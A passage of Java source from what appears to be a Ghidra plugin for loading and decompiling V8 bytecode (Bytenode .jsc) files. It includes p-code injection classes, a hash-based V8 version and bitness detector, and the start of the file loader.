pCode.emitAssignVarnodeFromPcodeOpCall("call_target", 4, "cpool", "0", "0x" + opAddr.toString(), runtimeid.toString(), funcType.toString()); 43 | try { 44 | callerParamsCount = program.getListing().getFunctionContaining(opAddr).getParameterCount(); 45 | } 46 | catch(Exception e) { 47 | callerParamsCount = 0; 48 | } 49 | // get caller args count to save only necessary ones 50 | // it does not match the logic of the node.exe but important for output quality 51 | if (callerParamsCount > fIdx + 1) { 52 | callerParamsCount = fIdx + 1; 53 | } 54 | 55 | for (; callerArgIndex < callerParamsCount; callerArgIndex++) { 56 | pCode.emitPushCat1Value("a" + callerArgIndex); 57 | } 58 | argIndex = 0; 59 | pCode.emitAssignVarnodeFromVarnode("a0", "_context", 4); 60 | if (fIdx == 1) { 61 | pCode.emitAssignVarnodeFromVarnode("a1", "_context", 4); 62 | pCode.emitAssignVarnodeFromVarnode("a0", "cp", 4); 63 | } 64 | pCode.emitVarnodeCall("call_target", 4); 65 | while (callerArgIndex > 0) { 66 | callerArgIndex--; 67 | pCode.emitPopCat1Value("a" + callerArgIndex); 68 | } 69 | return pCode.getPcodeOps(); 70 | } 71 | 72 | 73 | @Override 74 | public String getName() { 75 | // TODO Auto-generated method stub 76 | return "InjectThrow"; 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/V8_PcodeInjectLibrary.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | import java.io.IOException; 4 | import java.util.HashSet; 5 | import java.util.Set; 6 | 7 | import org.jdom.JDOMException; 8 | 9 | import ghidra.app.plugin.processors.sleigh.SleighLanguage; 10 | import ghidra.pcodeCPort.slgh_compile.PcodeParser; 11 | import ghidra.program.model.lang.ConstantPool; 12 | import ghidra.program.model.lang.InjectPayload; 13 | import ghidra.program.model.lang.PcodeInjectLibrary; 14 | import ghidra.program.model.listing.Program; 15 | 16 | public class V8_PcodeInjectLibrary extends PcodeInjectLibrary { 17 | private Set implementedOps; 18 | private SleighLanguage language; 19 | 20 | public V8_PcodeInjectLibrary(SleighLanguage l) { 21 | super(l); 22 | language = l; 23 | String translateSpec = language.buildTranslatorTag(language.getAddressFactory(), 24 | getUniqueBase(), language.getSymbolTable()); 25 | PcodeParser parser = null; 26 | try { 27 | parser = new PcodeParser(translateSpec); 28 | } 29 | catch (JDOMException e1) { 30 | e1.printStackTrace(); 31 | } 32 | implementedOps = new HashSet<>(); 33 | implementedOps.add("InvokeIntrinsicCallOther"); 34 | implementedOps.add("CallRuntimeCallOther"); 35 | implementedOps.add("CallVariadicCallOther"); 36 | implementedOps.add("JSCallNCallOther"); 37 | implementedOps.add("ConstructCallOther"); 38 | implementedOps.add("CallJSRuntimeCallOther"); 39 | implementedOps.add("ThrowCallOther"); 40 | implementedOps.add("StaDataPropertyInLiteralCallOther"); 41 | } 42 | 43 | @Override 44 | public ConstantPool getConstantPool(Program program) throws IOException { 45 | return new V8_ConstantPool(program); 46 | } 47 | 48 | @Override 49 | /** 50 | * This method is called by DecompileCallback.getPcodeInject. 51 | */ 52 | public InjectPayload getPayload(int type, String name, Program program, String context) { 53 | if (type == InjectPayload.CALLMECHANISM_TYPE) { 54 | return null; 55 | } 56 | 57 | if (!implementedOps.contains(name)) { 58 | return super.getPayload(type, name, program, context); 59 | } 60 | 61 | V8_InjectPayload payload = null; 62 | switch (name) { 63 | case ("InvokeIntrinsicCallOther"): 64 | case ("CallVariadicCallOther"): 65 | case ("CallRuntimeCallOther"): 66 | payload = new V8_InjectCallVariadic("", language, 0); 67 | break; 68 | case ("ConstructCallOther"): 69 | payload = new V8_InjectConstruct("", language, 0); 70 | break; 71 | case ("JSCallNCallOther"): 72 | payload = new V8_InjectJSCallN("", language, 0); 73 | break; 74 | case ("CallJSRuntimeCallOther"): 75 | payload = new V8_InjectCallJSRuntime("", language, 0); 76 | break; 77 | case ("ThrowCallOther"): 78 | payload = new V8_InjectThrow("", language, 0); 79 | break; 80 | case ("StaDataPropertyInLiteralCallOther"): 81 | payload = new V8_InjectStaDataPropertyInLiteral("", language, 0); 82 | break; 83 | default: 84 | return super.getPayload(type, name, program, context); 85 | } 86 | 87 | return payload; 88 | } 89 | 90 | } 91 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/V8_VersionDetector.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | import java.io.File; 4 | import java.io.IOException; 5 | import java.util.HashMap; 6 | import java.util.Map; 7 | 8 | import com.google.gson.JsonArray; 9 | 10 | import ghidra.framework.Application; 11 | import v8_bytecode.allocator.JscParser; 12 | 13 | public final class V8_VersionDetector { 14 | private final Map verHashes32; 15 | private final Map verHashes64; 16 | 17 | public V8_VersionDetector() throws IOException { 18 | verHashes32 = new HashMap<>(); 19 | verHashes64 = new HashMap<>(); 20 | 21 | File file = Application.getModuleDataFile("v8_versions.json").getFile(false); 22 | final JsonArray versions = JscParser.jsonArrayFromFile(file.getAbsolutePath()); 23 | 24 | for (final var version : versions) { 25 | final String ver = version.getAsString(); 26 | final String[] mmbp = ver.split("\\."); 27 | 28 | if (mmbp.length != 4) { 29 | continue; 30 | } 31 | 32 | final var hash32 = versionHash( 33 | Integer.parseInt(mmbp[0]), 34 | Integer.parseInt(mmbp[1]), 35 | Integer.parseInt(mmbp[2]), 36 | Integer.parseInt(mmbp[3]) 37 | ); 38 | 39 | final var hash64 = versionHash64( 40 | Integer.parseInt(mmbp[0]), 41 | Integer.parseInt(mmbp[1]), 42 | Integer.parseInt(mmbp[2]), 43 | Integer.parseInt(mmbp[3]) 44 | ); 45 | 46 | verHashes32.put(hash32, ver); 47 | verHashes64.put(hash64, ver); 48 | } 49 | } 50 | 51 | private static long hashValueUnsigned(long v) { 52 | v = ((v << 15L) - v - 1L) & 0xFFFFFFFFL; 53 | v = (v ^ (v >>> 12L)) & 0xFFFFFFFFL; 54 | v = (v + (v << 2L)) & 0xFFFFFFFFL; 55 | v = (v ^ (v >>> 4L)) & 0xFFFFFFFFL; 56 | v = (v * 2057L) & 0xFFFFFFFFL; 57 | v = (v ^ (v >>> 16L)) & 0xFFFFFFFFL; 58 | return v; 59 | } 60 | 61 | private static long hashCombine(long seed, long value) { 62 | value = (value * 0xCC9E2D51L) & 0xFFFFFFFFL; 63 | value = ((value >>> 15L) | (value << (32L-15L))) & 0xFFFFFFFFL; 64 | value = (value * 0x1b873593L) & 0xFFFFFFFFL; 65 | seed ^= value; 66 | seed = ((seed >>> 13L) | (seed << (32L-13L))) & 0xFFFFFFFFL; 67 | seed = (seed * 5L + 0xE6546B64L) & 0xFFFFFFFFL; 68 | return seed; 69 | } 70 | 71 | private static long hashCombine64(long seed, long value) { 72 | final var m = 0xC6A4A7935BD1E995L; 73 | value = (value * m) & 0xFFFFFFFFFFFFFFFFL; 74 | value = (value ^ (value >>> 47L)) & 0xFFFFFFFFFFFFFFFFL; 75 | value = (value * m) & 0xFFFFFFFFFFFFFFFFL; 76 | seed = (seed ^ value) & 0xFFFFFFFFFFFFFFFFL; 77 | seed = (seed * m) & 0xFFFFFFFFFFFFFFFFL; 78 | return seed; 79 | } 80 | 81 | private static long versionHash(int major, int minor, int build, int patch) { 82 | var seed = 0L; 83 | var v = hashValueUnsigned(patch); 84 | seed = hashCombine(seed, v); 85 | v = hashValueUnsigned(build); 86 | seed = hashCombine(seed, v); 87 | v = hashValueUnsigned(minor); 88 | seed = hashCombine(seed, v); 89 | v = hashValueUnsigned(major); 90 | seed = hashCombine(seed, v); 91 | return seed; 92 | } 93 | 94 | private static long versionHash64(int major, int minor, int build, int patch) { 95 | var seed = 0L; 96 | var v = hashValueUnsigned(patch); 97 | seed = hashCombine64(seed, v); 98 | v = hashValueUnsigned(build); 99 | seed = hashCombine64(seed, v); 100 | v = hashValueUnsigned(minor); 101 | seed = hashCombine64(seed, v); 102 | v = hashValueUnsigned(major); 103 | seed = hashCombine64(seed, v); 104 | return seed & 0xFFFFFFFFL; 105 | } 106 | 107 | public String detectVersion(long hash) { 108 | final var ver32 = verHashes32.getOrDefault(hash, null); 109 | 110 | if (ver32 != null) { 111 | return ver32; 112 | } 113 | 114 | final var ver64 = verHashes64.getOrDefault(hash, null); 115 | 116 | if (ver64 != null) { 117 | return ver64; 118 | } 119 | 120 | return "Unknown"; 121 | } 122 | 123 | public boolean detectBitness(long hash) throws IOException { 124 | final var is32bit = verHashes32.containsKey(hash); 125 | 126 | if (is32bit) { 127 | return is32bit; 128 | } 129 | 130 | final var is64bit = verHashes64.containsKey(hash); 131 | 132 | if (is64bit) { 133 | return false; 134 | } 135 | 136 | throw new IOException("Unknown bitness!"); 137 | } 138 | } 139 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/V8_bytecodeLoader.java: -------------------------------------------------------------------------------- 1 | /* ### 2 | * IP: GHIDRA 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package v8_bytecode; 17 | 18 | import java.io.IOException; 19 | import java.util.*; 20 | 21 | import ghidra.app.util.Option; 22 | import ghidra.app.util.bin.BinaryReader; 23 | import ghidra.app.util.bin.ByteProvider; 24 | import ghidra.app.util.importer.MessageLog; 25 | import ghidra.app.util.opinion.AbstractLibrarySupportLoader; 26 | import ghidra.app.util.opinion.LoadSpec; 27 | import ghidra.framework.options.Options; 28 | import ghidra.program.model.lang.LanguageCompilerSpecPair; 29 | import ghidra.program.model.listing.Program; 30 | import ghidra.util.exception.CancelledException; 31 | import ghidra.util.task.TaskMonitor; 32 | import v8_bytecode.allocator.JscParser; 33 | import v8_bytecode.allocator.ObjectsAllocator; 34 | 35 | public class V8_bytecodeLoader extends AbstractLibrarySupportLoader { 36 | 37 | private static final long INSTANCE_SIZE = 0x3BEL; 38 | 39 | static final String LDR_NAME = "Jsc (Bytenode) Loader"; 40 | 41 | private JscParser parser = null; 42 | private V8_VersionDetector verDetector = null; 43 | 44 | @Override 45 | public String getName() { 46 | return LDR_NAME; 47 | } 48 | 49 | @Override 50 | public Collection findSupportedLoadSpecs(ByteProvider provider) throws IOException { 51 | List loadSpecs = new ArrayList<>(); 52 | 53 | BinaryReader reader = new BinaryReader(provider, true); 54 | 55 | long magic = reader.readNextUnsignedInt(); 56 | 57 | if (magic == (0xC0DE0000L ^ INSTANCE_SIZE)) { 58 | verDetector = new V8_VersionDetector(); 59 | 60 | final long versionHash = reader.readNextUnsignedInt(); 61 | final var is32Bit = verDetector.detectBitness(versionHash); 62 | 63 | if (is32Bit) { 64 | loadSpecs.add(new LoadSpec(this, ObjectsAllocator.CODE_BASE, new LanguageCompilerSpecPair("V8:LE:32:default", "default"), true)); 65 | } else { 66 | loadSpecs.add(new LoadSpec(this, ObjectsAllocator.CODE_BASE, new LanguageCompilerSpecPair("V8:LE:64:default", "default"), true)); 67 | } 68 | } 69 | 70 | return loadSpecs; 71 | } 72 | 73 | @Override 74 | protected void load(ByteProvider provider, LoadSpec loadSpec, List